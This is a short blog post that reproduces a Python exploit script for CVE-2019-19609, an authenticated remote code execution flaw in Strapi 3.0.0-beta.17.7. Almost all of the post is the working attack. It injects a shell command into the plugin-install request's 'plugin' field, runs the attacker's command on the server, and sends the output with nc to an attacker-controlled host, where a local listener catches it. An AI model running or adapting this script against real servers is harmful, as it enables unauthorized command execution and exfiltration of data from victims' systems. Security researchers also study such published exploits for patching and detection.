Sunday, October 3, 2021

Strapi 3.0.0-beta.17.7 Remote Code Execution

# Exploit Title: Strapi 3.0.0-beta.17.7 - Remote Code Execution (RCE) (Authenticated)
# Date: 29/08/2021
# Exploit Author: David Utón (M3n0sD0n4ld)
# Vendor Homepage: https://strapi.io/
# Affected Version: strapi-3.0.0-beta.17.7 and earlier
# Tested on: Linux Ubuntu 18.04.5 LTS
# CVE : CVE-2019-19609

#!/usr/bin/python3
# Author: @David_Uton (m3n0sd0n4ld)
# Github: https://m3n0sd0n4ld.github.io
# Usage: python3 CVE-2019-19609.py http[s]//IP[:PORT] TOKEN_JWT COMMAND LHOST

import requests, sys, os, socket

logoType = ('''
=====================================
CVE-2019-19609 - Strapi RCE
-------------------------------------
@David_Uton (M3n0sD0n4ld)
https://m3n0sd0n4ld.github.io/
=====================================
''')

if __name__ == '__main__':

# Parameter checking
if len(sys.argv) != 5:
print(logoType)
print("[!] Some of these parameters are missing.")
print('''
Use: python3 %s http[s]//IP[:PORT] TOKEN_JWT COMMAND LHOST
Example: python3 10.10.10.10 eyJHbGCi..... "id" 127.0.0.1''' % sys.argv[0])
# Exploit run
else:
# Paremeters
url = sys.argv[1]
token = sys.argv[2]
command = sys.argv[3]
lhost = sys.argv[4]
lport = 9999

s = requests.session()

r = s.post(url, verify=False) # SSL == verify=True

headersData = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
'Authorization': "Bearer %s" % token
}

postData = {
"plugin":"documentation && $(%s > /tmp/.m3 && nc %s %s < /tmp/.m3 | rm /tmp/.m3)" % (command, lhost, lport)
}

print(logoType)
os.system("nc -nvlp 9999 &")
try:
print("[+] Successful operation!!!")
r = s.post(url + "/admin/plugins/install", headers=headersData, data=postData, verify=False) # SSL == verify=True
# Content print
print(r.text)
except:
print("[!] An error occurred, try again.")
sys.exit(1)

 

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thank you Templateism for the design - You should have written the code a little more complicated - Nothing Encrypted anymore